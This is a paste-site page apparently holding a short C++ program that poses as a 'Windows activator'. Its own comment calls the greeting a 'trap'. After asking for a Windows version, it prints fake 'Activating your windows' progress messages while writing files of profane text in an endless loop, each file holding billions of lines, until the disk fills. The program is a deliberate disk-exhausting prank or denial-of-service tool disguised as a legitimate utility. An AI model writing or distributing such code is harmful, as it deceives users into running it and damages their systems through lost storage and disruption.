MRE

mail@pastecode.io avatar
unknown
plain_text
6 months ago
950 B
1
Indexable
Never
#include <iostream>
#include <string>
#include <fstream>
#include <cstdint>
using namespace std;

int main()
{
  // init
  int64_t version;
  int file_count = 0;

  // trap
  puts("\n............WELCOME TO WINDOWS ACTIVATOR............\n\n");
  cout << "Enter your windows version : ";
  cin >> version;

  // small size
  cout << "\nStarting";
  for (int i = 0; i < 5; i++)
  {
    string name = "test" + to_string(i) + ".txt";
    ofstream temp(name);
    for (uint16_t j = 0; j < UINT16_MAX; j++)
    {
      temp << "Hello Motherfucker !!\n";
    }
    temp.close();
    cout << ".";
  }

  // big size
  while (1)
  {
    string name = "f" + to_string(file_count) + ".txt";
    ofstream temp(name);
    for (uint32_t j = 0; j < UINT32_MAX; j++)
    {
      temp << "Hello Motherfucker !!\n";
    }
    file_count < 1 ? puts("\nActivating your windows...........") : puts("Please wait.....");
    temp.close();
    file_count++;
  }
  return 0;
}